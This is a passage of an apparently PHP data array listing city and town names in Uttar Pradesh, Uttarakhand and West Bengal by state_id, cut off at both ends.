'orai'],\n ['state_id' => '38', 'name' => 'oran'],\n ['state_id' => '38', 'name' => 'ordinance factory muradnagar'],\n ['state_id' => '38', 'name' => 'pachperwa'],\n ['state_id' => '38', 'name' => 'padrauna'],\n ['state_id' => '38', 'name' => 'pahasu'],\n ['state_id' => '38', 'name' => 'paintepur'],\n ['state_id' => '38', 'name' => 'pali'],\n ['state_id' => '38', 'name' => 'palia kalan'],\n ['state_id' => '38', 'name' => 'parasi'],\n ['state_id' => '38', 'name' => 'parichha'],\n ['state_id' => '38', 'name' => 'parichhatgarh'],\n ['state_id' => '38', 'name' => 'parsadepur'],\n ['state_id' => '38', 'name' => 'patala'],\n ['state_id' => '38', 'name' => 'patiyali'],\n ['state_id' => '38', 'name' => 'patti'],\n ['state_id' => '38', 'name' => 'pawayan'],\n ['state_id' => '38', 'name' => 'phalauda'],\n ['state_id' => '38', 'name' => 'phaphund'],\n ['state_id' => '38', 'name' => 'phulpur'],\n ['state_id' => '38', 'name' => 'phulwaria'],\n ['state_id' => '38', 'name' => 'pihani'],\n ['state_id' => '38', 'name' => 'pilibhit'],\n ['state_id' => '38', 'name' => 'pilkana'],\n ['state_id' => '38', 'name' => 'pilkhuwa'],\n ['state_id' => '38', 'name' => 'pinahat'],\n ['state_id' => '38', 'name' => 'pipalsana chaudhari'],\n ['state_id' => '38', 'name' => 'pipiganj'],\n ['state_id' => '38', 'name' => 'pipraich'],\n ['state_id' => '38', 'name' => 'pipri'],\n ['state_id' => '38', 'name' => 'pratapgarh'],\n ['state_id' => '38', 'name' => 'pukhrayan'],\n ['state_id' => '38', 'name' => 'puranpur'],\n ['state_id' => '38', 'name' => 'purdil nagar'],\n ['state_id' => '38', 'name' => 'purqazi'],\n ['state_id' => '38', 'name' => 'purwa'],\n ['state_id' => '38', 'name' => 'qasimpur'],\n ['state_id' => '38', 'name' => 'rabupura'],\n ['state_id' => '38', 'name' => 'radha kund'],\n ['state_id' => '38', 'name' => 'rae bareilly'],\n ['state_id' => '38', 'name' => 'raja ka rampur'],\n ['state_id' => '38', 'name' => 'rajapur'],\n ['state_id' => '38', 'name' => 'ramkola'],\n ['state_id' => '38', 'name' => 'ramnagar'],\n ['state_id' => '38', 'name' => 'rampur'],\n ['state_id' => '38', 'name' => 'rampur bhawanipur'],\n ['state_id' => '38', 'name' => 'rampur karkhana'],\n ['state_id' => '38', 'name' => 'rampur maniharan'],\n ['state_id' => '38', 'name' => 'rampura'],\n ['state_id' => '38', 'name' => 'ranipur'],\n ['state_id' => '38', 'name' => 'rashidpur garhi'],\n ['state_id' => '38', 'name' => 'rasra'],\n ['state_id' => '38', 'name' => 'rasulabad'],\n ['state_id' => '38', 'name' => 'rath'],\n ['state_id' => '38', 'name' => 'raya'],\n ['state_id' => '38', 'name' => 'renukut'],\n ['state_id' => '38', 'name' => 'reoti'],\n ['state_id' => '38', 'name' => 'richha'],\n ['state_id' => '38', 'name' => 'risia bazar'],\n ['state_id' => '38', 'name' => 'rithora'],\n ['state_id' => '38', 'name' => 'robertsganj'],\n ['state_id' => '38', 'name' => 'roza'],\n ['state_id' => '38', 'name' => 'rudarpur'],\n ['state_id' => '38', 'name' => 'rudauli'],\n ['state_id' => '38', 'name' => 'rudayan'],\n ['state_id' => '38', 'name' => 'rura'],\n ['state_id' => '38', 'name' => 'rustamnagar sahaspur'],\n ['state_id' => '38', 'name' => 'sabatwar'],\n ['state_id' => '38', 'name' => 'sadabad'],\n ['state_id' => '38', 'name' => 'sadat'],\n ['state_id' => '38', 'name' => 'safipur'],\n ['state_id' => '38', 'name' => 'sahanpur'],\n ['state_id' => '38', 'name' => 'saharanpur'],\n ['state_id' => '38', 'name' => 'sahaspur'],\n ['state_id' => '38', 'name' => 'sahaswan'],\n ['state_id' => '38', 'name' => 'sahawar'],\n ['state_id' => '38', 'name' => 'sahibabad'],\n ['state_id' => '38', 'name' => 'sahjanwa'],\n ['state_id' => '38', 'name' => 'sahpau'],\n ['state_id' => '38', 'name' => 'saidpur'],\n ['state_id' => '38', 'name' => 'sainthal'],\n ['state_id' => '38', 'name' => 'saiyadraja'],\n ['state_id' => '38', 'name' => 'sakhanu'],\n ['state_id' => '38', 'name' => 'sakit'],\n ['state_id' => '38', 'name' => 'salarpur khadar'],\n ['state_id' => '38', 'name' => 'salimpur'],\n ['state_id' => '38', 'name' => 'salon'],\n ['state_id' => '38', 'name' => 'sambhal'],\n ['state_id' => '38', 'name' => 'sambhawali'],\n ['state_id' => '38', 'name' => 'samdhan'],\n ['state_id' => '38', 'name' => 'samthar'],\n ['state_id' => '38', 'name' => 'sandi'],\n ['state_id' => '38', 'name' => 'sandila'],\n ['state_id' => '38', 'name' => 'sarai mir'],\n ['state_id' => '38', 'name' => 'sarai akil'],\n ['state_id' => '38', 'name' => 'sarauli'],\n ['state_id' => '38', 'name' => 'sardhana'],\n ['state_id' => '38', 'name' => 'sarila'],\n ['state_id' => '38', 'name' => 'sarsawan'],\n ['state_id' => '38', 'name' => 'sasni'],\n ['state_id' => '38', 'name' => 'satrikh'],\n ['state_id' => '38', 'name' => 'saunkh'],\n ['state_id' => '38', 'name' => 'saurikh'],\n ['state_id' => '38', 'name' => 'seohara'],\n ['state_id' => '38', 'name' => 'sewal khas'],\n ['state_id' => '38', 'name' => 'sewarhi'],\n ['state_id' => '38', 'name' => 'shahabad'],\n ['state_id' => '38', 'name' => 'shahganj'],\n ['state_id' => '38', 'name' => 'shahi'],\n ['state_id' => '38', 'name' => 'shahjahanpur'],\n ['state_id' => '38', 'name' => 'shahjahanpur cantonment'],\n ['state_id' => '38', 'name' => 'shahpur'],\n ['state_id' => '38', 'name' => 'shamli'],\n ['state_id' => '38', 'name' => 'shamsabad'],\n ['state_id' => '38', 'name' => 'shankargarh'],\n ['state_id' => '38', 'name' => 'shergarh'],\n ['state_id' => '38', 'name' => 'sherkot'],\n ['state_id' => '38', 'name' => 'shikarpur'],\n ['state_id' => '38', 'name' => 'shikohabad'],\n ['state_id' => '38', 'name' => 'shisgarh'],\n ['state_id' => '38', 'name' => 'shivdaspur'],\n ['state_id' => '38', 'name' => 'shivli'],\n ['state_id' => '38', 'name' => 'shivrajpur'],\n ['state_id' => '38', 'name' => 'shohratgarh'],\n ['state_id' => '38', 'name' => 'siddhanur'],\n ['state_id' => '38', 'name' => 'siddharthnagar'],\n ['state_id' => '38', 'name' => 'sidhauli'],\n ['state_id' => '38', 'name' => 'sidhpura'],\n ['state_id' => '38', 'name' => 'sikandarabad'],\n ['state_id' => '38', 'name' => 'sikandarpur'],\n ['state_id' => '38', 'name' => 'sikandra'],\n ['state_id' => '38', 'name' => 'sikandra rao'],\n ['state_id' => '38', 'name' => 'singahi bhiraura'],\n ['state_id' => '38', 'name' => 'sirathu'],\n ['state_id' => '38', 'name' => 'sirsa'],\n ['state_id' => '38', 'name' => 'sirsaganj'],\n ['state_id' => '38', 'name' => 'sirsi'],\n ['state_id' => '38', 'name' => 'sisauli'],\n ['state_id' => '38', 'name' => 'siswa bazar'],\n ['state_id' => '38', 'name' => 'sitapur'],\n ['state_id' => '38', 'name' => 'siyana'],\n ['state_id' => '38', 'name' => 'som'],\n ['state_id' => '38', 'name' => 'sonbhadra'],\n ['state_id' => '38', 'name' => 'soron'],\n ['state_id' => '38', 'name' => 'suar'],\n ['state_id' => '38', 'name' => 'sukhmalpur nizamabad'],\n ['state_id' => '38', 'name' => 'sultanpur'],\n ['state_id' => '38', 'name' => 'sumerpur'],\n ['state_id' => '38', 'name' => 'suriyawan'],\n ['state_id' => '38', 'name' => 'swamibagh'],\n ['state_id' => '38', 'name' => 'tajpur'],\n ['state_id' => '38', 'name' => 'talbahat'],\n ['state_id' => '38', 'name' => 'talgram'],\n ['state_id' => '38', 'name' => 'tambaur'],\n ['state_id' => '38', 'name' => 'tanda'],\n ['state_id' => '38', 'name' => 'tatarpur lallu'],\n ['state_id' => '38', 'name' => 'tetribazar'],\n ['state_id' => '38', 'name' => 'thakurdwara'],\n ['state_id' => '38', 'name' => 'thana bhawan'],\n ['state_id' => '38', 'name' => 'thiriya nizamat khan'],\n ['state_id' => '38', 'name' => 'tikaitnagar'],\n ['state_id' => '38', 'name' => 'tikri'],\n ['state_id' => '38', 'name' => 'tilhar'],\n ['state_id' => '38', 'name' => 'tindwari'],\n ['state_id' => '38', 'name' => 'tirwaganj'],\n ['state_id' => '38', 'name' => 'titron'],\n ['state_id' => '38', 'name' => 'tori fatehpur'],\n ['state_id' => '38', 'name' => 'tulsipur'],\n ['state_id' => '38', 'name' => 'tundla'],\n ['state_id' => '38', 'name' => 'tundla kham'],\n ['state_id' => '38', 'name' => 'tundla railway colony'],\n ['state_id' => '38', 'name' => 'ugu'],\n ['state_id' => '38', 'name' => 'ujhani'],\n ['state_id' => '38', 'name' => 'ujhari'],\n ['state_id' => '38', 'name' => 'umri'],\n ['state_id' => '38', 'name' => 'umri kalan'],\n ['state_id' => '38', 'name' => 'un'],\n ['state_id' => '38', 'name' => 'unchahar'],\n ['state_id' => '38', 'name' => 'unnao'],\n ['state_id' => '38', 'name' => 'usaihat'],\n ['state_id' => '38', 'name' => 'usawan'],\n ['state_id' => '38', 'name' => 'utraula'],\n ['state_id' => '38', 'name' => 'varanasi'],\n ['state_id' => '38', 'name' => 'varanasi cantonment'],\n ['state_id' => '38', 'name' => 'vijaigarh'],\n ['state_id' => '38', 'name' => 'vrindavan'],\n ['state_id' => '38', 'name' => 'wazirganj'],\n ['state_id' => '38', 'name' => 'zafarabad'],\n ['state_id' => '38', 'name' => 'zaidpur'],\n ['state_id' => '38', 'name' => 'zamania'],\n ['state_id' => '39', 'name' => 'almora'],\n ['state_id' => '39', 'name' => 'almora cantonment'],\n ['state_id' => '39', 'name' => 'badrinathpuri'],\n ['state_id' => '39', 'name' => 'bageshwar'],\n ['state_id' => '39', 'name' => 'bah bazar'],\n ['state_id' => '39', 'name' => 'banbasa'],\n ['state_id' => '39', 'name' => 'bandia'],\n ['state_id' => '39', 'name' => 'barkot'],\n ['state_id' => '39', 'name' => 'bazpur'],\n ['state_id' => '39', 'name' => 'bhim tal'],\n ['state_id' => '39', 'name' => 'bhowali'],\n ['state_id' => '39', 'name' => 'chakrata'],\n ['state_id' => '39', 'name' => 'chamba'],\n ['state_id' => '39', 'name' => 'chamoli and gopeshwar'],\n ['state_id' => '39', 'name' => 'champawat'],\n ['state_id' => '39', 'name' => 'clement town'],\n ['state_id' => '39', 'name' => 'dehra dun cantonment'],\n ['state_id' => '39', 'name' => 'dehradun'],\n ['state_id' => '39', 'name' => 'dehrakhas'],\n ['state_id' => '39', 'name' => 'devaprayag'],\n ['state_id' => '39', 'name' => 'dhaluwala'],\n ['state_id' => '39', 'name' => 'dhandera'],\n ['state_id' => '39', 'name' => 'dharchula'],\n ['state_id' => '39', 'name' => 'dharchula dehat'],\n ['state_id' => '39', 'name' => 'didihat'],\n ['state_id' => '39', 'name' => 'dineshpur'],\n ['state_id' => '39', 'name' => 'doiwala'],\n ['state_id' => '39', 'name' => 'dugadda'],\n ['state_id' => '39', 'name' => 'dwarahat'],\n ['state_id' => '39', 'name' => 'gadarpur'],\n ['state_id' => '39', 'name' => 'gangotri'],\n ['state_id' => '39', 'name' => 'gauchar'],\n ['state_id' => '39', 'name' => 'haldwani'],\n ['state_id' => '39', 'name' => 'haridwar'],\n ['state_id' => '39', 'name' => 'herbertpur'],\n ['state_id' => '39', 'name' => 'jaspur'],\n ['state_id' => '39', 'name' => 'jhabrera'],\n ['state_id' => '39', 'name' => 'joshimath'],\n ['state_id' => '39', 'name' => 'kachnal gosain'],\n ['state_id' => '39', 'name' => 'kaladungi'],\n ['state_id' => '39', 'name' => 'kalagarh'],\n ['state_id' => '39', 'name' => 'karnaprayang'],\n ['state_id' => '39', 'name' => 'kashipur'],\n ['state_id' => '39', 'name' => 'kashirampur'],\n ['state_id' => '39', 'name' => 'kausani'],\n ['state_id' => '39', 'name' => 'kedarnath'],\n ['state_id' => '39', 'name' => 'kelakhera'],\n ['state_id' => '39', 'name' => 'khatima'],\n ['state_id' => '39', 'name' => 'kichha'],\n ['state_id' => '39', 'name' => 'kirtinagar'],\n ['state_id' => '39', 'name' => 'kotdwara'],\n ['state_id' => '39', 'name' => 'laksar'],\n ['state_id' => '39', 'name' => 'lalkuan'],\n ['state_id' => '39', 'name' => 'landaura'],\n ['state_id' => '39', 'name' => 'landhaura cantonment'],\n ['state_id' => '39', 'name' => 'lensdaun'],\n ['state_id' => '39', 'name' => 'logahat'],\n ['state_id' => '39', 'name' => 'mahua dabra haripura'],\n ['state_id' => '39', 'name' => 'mahua kheraganj'],\n ['state_id' => '39', 'name' => 'manglaur'],\n ['state_id' => '39', 'name' => 'masuri'],\n ['state_id' => '39', 'name' => 'mohanpur mohammadpur'],\n ['state_id' => '39', 'name' => 'muni ki reti'],\n ['state_id' => '39', 'name' => 'nagla'],\n ['state_id' => '39', 'name' => 'nainital'],\n ['state_id' => '39', 'name' => 'nainital cantonment'],\n ['state_id' => '39', 'name' => 'nandaprayang'],\n ['state_id' => '39', 'name' => 'narendranagar'],\n ['state_id' => '39', 'name' => 'pauri'],\n ['state_id' => '39', 'name' => 'pithoragarh'],\n ['state_id' => '39', 'name' => 'pratitnagar'],\n ['state_id' => '39', 'name' => 'raipur'],\n ['state_id' => '39', 'name' => 'raiwala'],\n ['state_id' => '39', 'name' => 'ramnagar'],\n ['state_id' => '39', 'name' => 'ranikhet'],\n ['state_id' => '39', 'name' => 'ranipur'],\n ['state_id' => '39', 'name' => 'rishikesh'],\n ['state_id' => '39', 'name' => 'rishikesh cantonment'],\n ['state_id' => '39', 'name' => 'roorkee'],\n ['state_id' => '39', 'name' => 'rudraprayag'],\n ['state_id' => '39', 'name' => 'rudrapur'],\n ['state_id' => '39', 'name' => 'rurki'],\n ['state_id' => '39', 'name' => 'rurki cantonment'],\n ['state_id' => '39', 'name' => 'shaktigarh'],\n ['state_id' => '39', 'name' => 'sitarganj'],\n ['state_id' => '39', 'name' => 'srinagar'],\n ['state_id' => '39', 'name' => 'sultanpur'],\n ['state_id' => '39', 'name' => 'tanakpur'],\n ['state_id' => '39', 'name' => 'tehri'],\n ['state_id' => '39', 'name' => 'udham singh nagar'],\n ['state_id' => '39', 'name' => 'uttarkashi'],\n ['state_id' => '39', 'name' => 'vikasnagar'],\n ['state_id' => '39', 'name' => 'virbhadra'],\n ['state_id' => '41', 'name' => '24 parganas (n)'],\n ['state_id' => '41', 'name' => '24 parganas (s)'],\n ['state_id' => '41', 'name' => 'adra'],\n ['state_id' => '41', 'name' => 'ahmadpur'],\n ['state_id' => '41', 'name' => 'aiho'],\n ['state_id' => '41', 'name' => 'aistala'],\n ['state_id' => '41', 'name' => 'alipur duar'],\n ['state_id' => '41', 'name' => 'alipur duar railway junction'],\n ['state_id' => '41', 'name' => 'alpur'],\n ['state_id' => '41', 'name' => 'amalhara'],\n ['state_id' => '41', 'name' => 'amkula'],\n ['state_id' => '41', 'name' => 'amlagora'],\n ['state_id' => '41', 'name' => 'amodghata'],\n ['state_id' => '41', 'name' => 'amtala'],\n ['state_id' => '41', 'name' => 'andul'],\n ['state_id' => '41', 'name' => 'anksa'],\n ['state_id' => '41', 'name' => 'ankurhati'],\n ['state_id' => '41', 'name' => 'anup nagar'],\n ['state_id' => '41', 'name' => 'arambagh'],\n ['state_id' => '41', 'name' => 'argari'],\n ['state_id' => '41', 'name' => 'arsha'],\n ['state_id' => '41', 'name' => 'asansol'],\n ['state_id' => '41', 'name' => 'ashoknagar kalyangarh'],\n ['state_id' => '41', 'name' => 'aurangabad'],\n ['state_id' => '41', 'name' => 'bablari dewanganj'],\n ['state_id' => '41', 'name' => 'badhagachhi'],\n ['state_id' => '41', 'name' => 'baduria'],\n ['state_id' => '41', 'name' => 'baghdogra'],\n ['state_id' => '41', 'name' => 'bagnan'],\n ['state_id' => '41', 'name' => 'bagra'],\n ['state_id' => '41', 'name' => 'bagula'],\n ['state_id' => '41', 'name' => 'baharampur'],\n ['state_id' => '41', 'name' => 'bahirgram'],\n ['state_id' => '41', 'name' => 'bahula'],\n ['state_id' => '41', 'name' => 'baidyabati'],\n ['state_id' => '41', 'name' => 'bairatisal'],\n ['state_id' => '41', 'name' => 'baj baj'],\n ['state_id' => '41', 'name' => 'bakreswar'],\n ['state_id' => '41', 'name' => 'balaram pota'],\n ['state_id' => '41', 'name' => 'balarampur'],\n ['state_id' => '41', 'name' => 'bali chak'],\n ['state_id' => '41', 'name' => 'ballavpur'],\n ['state_id' => '41', 'name' => 'bally'],\n ['state_id' => '41', 'name' => 'balurghat'],\n ['state_id' => '41', 'name' => 'bamunari'],\n ['state_id' => '41', 'name' => 'banarhat tea garden'],\n ['state_id' => '41', 'name' => 'bandel'],\n ['state_id' => '41', 'name' => 'bangaon'],\n ['state_id' => '41', 'name' => 'bankra'],\n ['state_id' => '41', 'name' => 'bankura'],\n ['state_id' => '41', 'name' => 'bansbaria'],\n ['state_id' => '41', 'name' => 'banshra'],\n ['state_id' => '41', 'name' => 'banupur'],\n ['state_id' => '41', 'name' => 'bara bamonia'],\n ['state_id' => '41', 'name' => 'barakpur'],\n ['state_id' => '41', 'name' => 'barakpur cantonment'],\n ['state_id' => '41', 'name' => 'baranagar'],\n ['state_id' => '41', 'name' => 'barasat'],\n ['state_id' => '41', 'name' => 'barddhaman'],\n ['state_id' => '41', 'name' => 'barijhati'],\n ['state_id' => '41', 'name' => 'barjora'],\n ['state_id' => '41', 'name' => 'barrackpore'],\n ['state_id' => '41', 'name' => 'baruihuda'],\n ['state_id' => '41', 'name' => 'baruipur'],\n ['state_id' => '41', 'name' => 'barunda'],\n ['state_id' => '41', 'name' => 'basirhat'],\n ['state_id' => '41', 'name' => 'baska'],\n ['state_id' => '41', 'name' => 'begampur'],\n ['state_id' => '41', 'name' => 'beldanga'],\n ['state_id' => '41', 'name' => 'beldubi'],\n ['state_id' => '41', 'name' => 'belebathan'],\n ['state_id' => '41', 'name' => 'beliator'],\n ['state_id' => '41', 'name' => 'bhadreswar'],\n ['state_id' => '41', 'name' => 'bhandardaha'],\n ['state_id' => '41', 'name' => 'bhangar raghunathpur'],\n ['state_id' => '41', 'name' => 'bhangri pratham khanda'],\n ['state_id' => '41', 'name' => 'bhanowara'],\n ['state_id' => '41', 'name' => 'bhatpara'],\n ['state_id' => '41', 'name' => 'bholar dabri'],\n ['state_id' => '41', 'name' => 'bidhannagar'],\n ['state_id' => '41', 'name' => 'bidyadharpur'],\n ['state_id' => '41', 'name' => 'biki hakola'],\n ['state_id' => '41', 'name' => 'bilandapur'],\n ['state_id' => '41', 'name' => 'bilpahari'],\n ['state_id' => '41', 'name' => 'bipra noapara'],\n ['state_id' => '41', 'name' => 'birlapur'],\n ['state_id' => '41', 'name' => 'birnagar'],\n ['state_id' => '41', 'name' => 'bisarpara'],\n ['state_id' => '41', 'name' => 'bishnupur'],\n ['state_id' => '41', 'name' => 'bolpur'],\n ['state_id' => '41', 'name' => 'bongaon'],\n ['state_id' => '41', 'name' => 'bowali'],\n ['state_id' => '41', 'name' => 'burdwan'],\n ['state_id' => '41', 'name' => 'canning'],\n ['state_id' => '41', 'name' => 'cart road'],\n ['state_id' => '41', 'name' => 'chachanda'],\n ['state_id' => '41', 'name' => 'chak bankola'],\n ['state_id' => '41', 'name' => 'chak enayetnagar'],\n ['state_id' => '41', 'name' => 'chak kashipur'],\n ['state_id' => '41', 'name' => 'chakalampur'],\n ['state_id' => '41', 'name' => 'chakbansberia'],\n ['state_id' => '41', 'name' => 'chakdaha'],\n ['state_id' => '41', 'name' => 'chakpara'],\n ['state_id' => '41', 'name' => 'champahati'],\n ['state_id' => '41', 'name' => 'champdani'],\n ['state_id' => '41', 'name' => 'chamrail'],\n ['state_id' => '41', 'name' => 'chandannagar'],\n ['state_id' => '41', 'name' => 'chandpur'],\n ['state_id' => '41', 'name' => 'chandrakona'],\n ['state_id' => '41', 'name' => 'chapari'],\n ['state_id' => '41', 'name' => 'chapui'],\n ['state_id' => '41', 'name' => 'char brahmanagar'],\n ['state_id' => '41', 'name' => 'char maijdia'],\n ['state_id' => '41', 'name' => 'charka'],\n ['state_id' => '41', 'name' => 'chata kalikapur'],\n ['state_id' => '41', 'name' => 'chauhati'],\n ['state_id' => '41', 'name' => 'checha khata'],\n ['state_id' => '41', 'name' => 'chelad'],\n ['state_id' => '41', 'name' => 'chhora'],\n ['state_id' => '41', 'name' => 'chikrand'],\n ['state_id' => '41', 'name' => 'chittaranjan'],\n ['state_id' => '41', 'name' => 'contai'],\n ['state_id' => '41', 'name' => 'cooch behar'],\n ['state_id' => '41', 'name' => 'dainhat'],\n ['state_id' => '41', 'name' => 'dakshin baguan'],\n ['state_id' => '41', 'name' => 'dakshin jhapardaha'],\n ['state_id' => '41', 'name' => 'dakshin rajyadharpur'],\n ['state_id' => '41', 'name' => 'dakshin raypur'],\n ['state_id' => '41', 'name' => 'dalkola'],\n ['state_id' => '41', 'name' => 'dalurband'],\n ['state_id' => '41', 'name' => 'darap pur'],\n ['state_id' => '41', 'name' => 'darjiling'],\n ['state_id' => '41', 'name' => 'daulatpur'],\n ['state_id' => '41', 'name' => 'debipur'],\n ['state_id' => '41', 'name' => 'defahat'],\n ['state_id' => '41', 'name' => 'deora'],\n ['state_id' => '41', 'name' => 'deulia'],\n ['state_id' => '41', 'name' => 'dhakuria'],\n ['state_id' => '41', 'name' => 'dhandadihi'],\n ['state_id' => '41', 'name' => 'dhanyakuria'],\n ['state_id' => '41', 'name' => 'dharmapur'],\n ['state_id' => '41', 'name' => 'dhatri gram'],\n ['state_id' => '41', 'name' => 'dhuilya'],\n ['state_id' => '41', 'name' => 'dhulagari'],\n ['state_id' => '41', 'name' => 'dhulian'],\n ['state_id' => '41', 'name' => 'dhupgari'],\n ['state_id' => '41', 'name' => 'dhusaripara'],\n ['state_id' => '41', 'name' => 'diamond harbour'],\n ['state_id' => '41', 'name' => 'digha'],\n ['state_id' => '41', 'name' => 'dignala'],\n ['state_id' => '41', 'name' => 'dinhata'],\n ['state_id' => '41', 'name' => 'dubrajpur'],\n ['state_id' => '41', 'name' => 'dumjor'],\n ['state_id' => '41', 'name' => 'durgapur'],\n ['state_id' => '41', 'name' => 'durllabhganj'],\n ['state_id' => '41', 'name' => 'egra'],\n ['state_id' => '41', 'name' => 'eksara'],\n ['state_id' => '41', 'name' => 'falakata'],\n ['state_id' => '41', 'name' => 'farakka'],\n ['state_id' => '41', 'name' => 'fatellapur'],\n ['state_id' => '41', 'name' => 'fort gloster'],\n ['state_id' => '41', 'name' => 'gabberia'],\n ['state_id' => '41', 'name' => 'gadigachha'],\n ['state_id' => '41', 'name' => 'gairkata'],\n ['state_id' => '41', 'name' => 'gangarampur'],\n ['state_id' => '41', 'name' => 'garalgachha'],\n ['state_id' => '41', 'name' => 'garbeta amlagora'],\n ['state_id' => '41', 'name' => 'garhbeta'],\n ['state_id' => '41', 'name' => 'garshyamnagar'],\n ['state_id' => '41', 'name' => 'garui'],\n ['state_id' => '41', 'name' => 'garulia'],\n ['state_id' => '41', 'name' => 'gayespur'],\n ['state_id' => '41', 'name' => 'ghatal'],\n ['state_id' => '41', 'name' => 'ghorsala'],\n ['state_id' => '41', 'name' => 'goaljan'],\n ['state_id' => '41', 'name' => 'goasafat'],\n ['state_id' => '41', 'name' => 'gobardanga'],\n ['state_id' => '41', 'name' => 'gobindapur'],\n ['state_id' => '41', 'name' => 'gopalpur'],\n ['state_id' => '41', 'name' => 'gopinathpur'],\n ['state_id' => '41', 'name' => 'gora bazar'],\n ['state_id' => '41', 'name' => 'guma'],\n ['state_id' => '41', 'name' => 'gurdaha'],\n ['state_id' => '41', 'name' => 'guriahati'],\n ['state_id' => '41', 'name' => 'guskhara'],\n ['state_id' => '41', 'name' => 'habra'],\n ['state_id' => '41', 'name' => 'haldia'],\n ['state_id' => '41', 'name' => 'haldibari'],\n ['state_id' => '41', 'name' => 'halisahar'],\n ['state_id' => '41', 'name' => 'haora'],\n ['state_id' => '41', 'name' => 'harharia chak'],\n ['state_id' => '41', 'name' => 'harindanga'],\n ['state_id' => '41', 'name' => 'haringhata'],\n ['state_id' => '41', 'name' => 'haripur'],\n ['state_id' => '41', 'name' => 'harishpur'],\n ['state_id' => '41', 'name' => 'hatgachha'],\n ['state_id' => '41', 'name' => 'hatsimla'],\n ['state_id' => '41', 'name' => 'hijuli'],\n ['state_id' => '41', 'name' => 'hindustan cables town'],\n ['state_id' => '41', 'name' => 'hooghly'],\n ['state_id' => '41', 'name' => 'howrah'],\n ['state_id' => '41', 'name' => 'hugli-chunchura'],\n ['state_id' => '41', 'name' => 'humaipur'],\n ['state_id' => '41', 'name' => 'ichha pur defence estate'],\n ['state_id' => '41', 'name' => 'ingraj bazar'],\n ['state_id' => '41', 'name' => 'islampur'],\n ['state_id' => '41', 'name' => 'jafarpur'],\n ['state_id' => '41', 'name' => 'jagadanandapur'],\n ['state_id' => '41', 'name' => 'jagdishpur'],\n ['state_id' => '41', 'name' => 'jagtaj'],\n ['state_id' => '41', 'name' => 'jala kendua'],\n ['state_id' => '41', 'name' => 'jaldhaka'],\n ['state_id' => '41', 'name' => 'jalkhura'],\n ['state_id' => '41', 'name' => 'jalpaiguri'],\n ['state_id' => '41', 'name' => 'jamuria'],\n ['state_id' => '41', 'name' => 'jangipur'],\n ['state_id' => '41', 'name' => 'jaygaon'],\n ['state_id' => '41', 'name' => 'jaynagar-majilpur'],\n ['state_id' => '41', 'name' => 'jemari'],\n ['state_id' => '41', 'name' => 'jemari township'],\n ['state_id' => '41', 'name' => 'jetia'],\n ['state_id' => '41', 'name' => 'jhalida'],\n ['state_id' => '41', 'name' => 'jhargram'],\n ['state_id' => '41', 'name' => 'jhorhat'],\n ['state_id' => '41', 'name' => 'jiaganj-azimganj'],\n ['state_id' => '41', 'name' => 'joka'],\n ['state_id' => '41', 'name' => 'jot kamal'],\n ['state_id' => '41', 'name' => 'kachu pukur'],\n ['state_id' => '41', 'name' => 'kajora'],\n ['state_id' => '41', 'name' => 'kakdihi'],\n ['state_id' => '41', 'name' => 'kakdwip'],\n ['state_id' => '41', 'name' => 'kalaikunda'],\n ['state_id' => '41', 'name' => 'kalara'],\n ['state_id' => '41', 'name' => 'kalimpong'],\n ['state_id' => '41', 'name' => 'kaliyaganj'],\n ['state_id' => '41', 'name' => 'kalna'],\n ['state_id' => '41', 'name' => 'kalyani'],\n ['state_id' => '41', 'name' => 'kamarhati'],\n ['state_id' => '41', 'name' => 'kanaipur'],\n ['state_id' => '41', 'name' => 'kanchrapara'],\n ['state_id' => '41', 'name' => 'kandi'],\n ['state_id' => '41', 'name' => 'kanki'],\n ['state_id' => '41', 'name' => 'kankuria'],\n ['state_id' => '41', 'name' => 'kantlia'],\n ['state_id' => '41', 'name' => 'kanyanagar'],\n ['state_id' => '41', 'name' => 'karimpur'],\n ['state_id' => '41', 'name' => 'karsiyang'],\n ['state_id' => '41', 'name' => 'kasba'],\n ['state_id' => '41', 'name' => 'kasimbazar'],\n ['state_id' => '41', 'name' => 'katwa'],\n ['state_id' => '41', 'name' => 'kaugachhi'],\n ['state_id' => '41', 'name' => 'kenda'],\n ['state_id' => '41', 'name' => 'kendra khottamdi'],\n ['state_id' => '41', 'name' => 'kendua'],\n ['state_id' => '41', 'name' => 'kesabpur'],\n ['state_id' => '41', 'name' => 'khagrabari'],\n ['state_id' => '41', 'name' => 'khalia'],\n ['state_id' => '41', 'name' => 'khalor'],\n ['state_id' => '41', 'name' => 'khandra'],\n ['state_id' => '41', 'name' => 'khantora'],\n ['state_id' => '41', 'name' => 'kharagpur'],\n ['state_id' => '41', 'name' => 'kharagpur railway settlement'],\n ['state_id' => '41', 'name' => 'kharar'],\n ['state_id' => '41', 'name' => 'khardaha'],\n ['state_id' => '41', 'name' => 'khari mala khagrabari'],\n ['state_id' => '41', 'name' => 'kharsarai'],\n ['state_id' => '41', 'name' => 'khatra'],\n ['state_id' => '41', 'name' => 'khodarampur'],\n ['state_id' => '41', 'name' => 'kodalia'],\n ['state_id' => '41', 'name' => 'kolaghat'],\n ['state_id' => '41', 'name' => 'kolaghat thermal power project'],\n ['state_id' => '41', 'name' => 'kolkata'],\n ['state_id' => '41', 'name' => 'konardihi'],\n ['state_id' => '41', 'name' => 'konnogar'],\n ['state_id' => '41', 'name' => 'krishnanagar'],\n ['state_id' => '41', 'name' => 'krishnapur'],\n ['state_id' => '41', 'name' => 'kshidirpur'],\n ['state_id' => '41', 'name' => 'kshirpai'],\n ['state_id' => '41', 'name' => 'kulihanda'],\n ['state_id' => '41', 'name' => 'kulti'],\n ['state_id' => '41', 'name' => 'kunustara'],\n ['state_id' => '41', 'name' => 'kuperskem'],\n ['state_id' => '41', 'name' => 'madanpur'],\n ['state_id' => '41', 'name' => 'madhusudanpur'],\n ['state_id' => '41', 'name' => 'madhyamgram'],\n ['state_id' => '41', 'name' => 'maheshtala'],\n ['state_id' => '41', 'name' => 'mahiari'],\n ['state_id' => '41', 'name' => 'mahikpur'],\n ['state_id' => '41', 'name' => 'mahira'],\n ['state_id' => '41', 'name' => 'mahishadal'],\n ['state_id' => '41', 'name' => 'mainaguri'],\n ['state_id' => '41', 'name' => 'makardaha'],\n ['state_id' => '41', 'name' => 'mal'],\n ['state_id' => '41', 'name' => 'malda'],\n ['state_id' => '41', 'name' => 'mandarbani'],\n ['state_id' => '41', 'name' => 'mansinhapur'],\n ['state_id' => '41', 'name' => 'masila'],\n ['state_id' => '41', 'name' => 'maslandapur'],\n ['state_id' => '41', 'name' => 'mathabhanga'],\n ['state_id' => '41', 'name' => 'mekliganj'],\n ['state_id' => '41', 'name' => 'memari'],\n ['state_id' => '41', 'name' => 'midnapur'],\n ['state_id' => 